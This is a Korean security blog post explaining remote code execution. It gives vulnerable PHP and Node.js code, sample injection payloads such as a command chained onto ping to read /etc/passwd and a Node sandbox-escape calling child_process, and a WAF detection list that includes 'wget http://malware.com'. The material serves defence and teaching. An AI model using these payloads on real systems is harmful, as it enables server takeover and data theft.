반응형
**RCE(Remote Code Execution, 원격 코드 실행 취약점)**을 정리해줄게.
실무에서 가장 위험한 공격 중 하나라서 구조·예시·방어까지 확실히 이해해야 해.
🔥 1. RCE(Remote Code Execution) 개념
정의:
RCE는 공격자가 원격에서 서버에 임의의 코드를 실행할 수 있게 되는 치명적인 취약점을 말해.
쉽게 말하면:
👉 “공격자가 서버를 자기 컴퓨터처럼 명령을 내려서 조작하는 공격”
🔹 2. 발생 원리
웹 애플리케이션이 아래 기능을 제공하는데 입력값 검증이 허술하면 발생:
- OS Command 실행 기능 사용 (예: exec, system, shell_exec)
- 사용자 입력을 코드로 처리하는 기능
- 파일 업로드 후 서버에서 실행 가능
- 템플릿 엔진 코드 실행 취약점
즉,
[사용자 입력] → [서버 명령 실행 로직] → [검증 미비] → RCE 발생
🔹 3. 실무 공격 예시
1) PHP에서 RCE 발생 예시
system($_GET['cmd']);
공격자 요청:
2) 시스템 명령 주입
ping 127.0.0.1; cat /etc/passwd
3) Node.js RCE 예시 (eval)
eval(req.body.input);
공격자 입력:
this.constructor.constructor("return process")().mainModule.require('child_process').exec('ls')
4) Python RCE (pickle, eval, os.system)
os.system(user_input)
🔹 4. 공격자가 할 수 있는 일
- 서버 파일 읽기/수정/삭제
- 데이터베이스 정보 탈취
- 백도어 설치
- 내부망 스캔 및 추가 공격
- 랜섬웨어 실행
- 서버 전체 장악(루트 권한 획득 가능)
즉 → 서버가 거의 완전히 점령당함
🔹 5. WAF / 보안관제 대응 포인트
✔ 1) 위험 패턴 탐지
아래 문자열 포함 요청 탐지/차단:
- ;, &&, ||, |, $(), `command`
- cat /etc/passwd
- wget http://malware.com
- bash -c
- python -c
- "cmd=", "system("
✔ 2) 우회 탐지
- URL 인코딩: %3b, %26%26
- Base64 인코딩된 명령
- PowerShell 명령 인코딩
✔ 3) 파일 업로드 후 실행 탐지
- 업로드 후 .php, .jsp, .asp 실행 요청 발생 시 알람
✔ 4) 이상 행위 모니터링
- 웹 서버 계정이 비정상적인 시스템 파일 접근
- 폭주하는 프로세스(spawn)
- 웹서버가 외부로 파일 전송 시도
🔹 6. 개발 단계 방어
✔ 1) OS Command 직접 사용 금지
가능하면 사용하지 않는다.
✔ 2) Parameterized 방식으로 명령 실행
subprocess.run(["ping", "127.0.0.1"])
문자열 결합 금지.
✔ 3) 파일 업로드 디렉토리는 실행 불가로 설정
웹쉘 실행 차단.
✔ 4) 입력값 검증
- 특수문자 제거
- whitelist 기반 검증
✔ 5) 서버 권한 최소화
웹서버 계정을 root로 절대 실행하지 않는다.
🎯 한 문장 요약
RCE = 원격에서 서버 명령을 실행할 수 있게 되는 치명적 취약점으로, 공격자가 서버를 완전히 장악할 수 있으므로 입력 검증·권한 최소화·WAF 패턴 차단으로 필수적으로 막아야 한다.
반응형
'2. 보안 > 2. 보안 관제' 카테고리의 다른 글
| [보안_GPT] XXE(XML External Entity)란? (0) | 2025.11.14 |
|---|---|
| [보안_GPT] SSRF(Server-Side Request Forgery)란? (0) | 2025.11.14 |
| [보안_GPT] Directory Traversal 이란? (0) | 2025.11.14 |
| [보안_GPT] File Upload Vulnerability 이란? (0) | 2025.11.14 |
| [보안_GPT] Command Injection 이란? (0) | 2025.11.14 |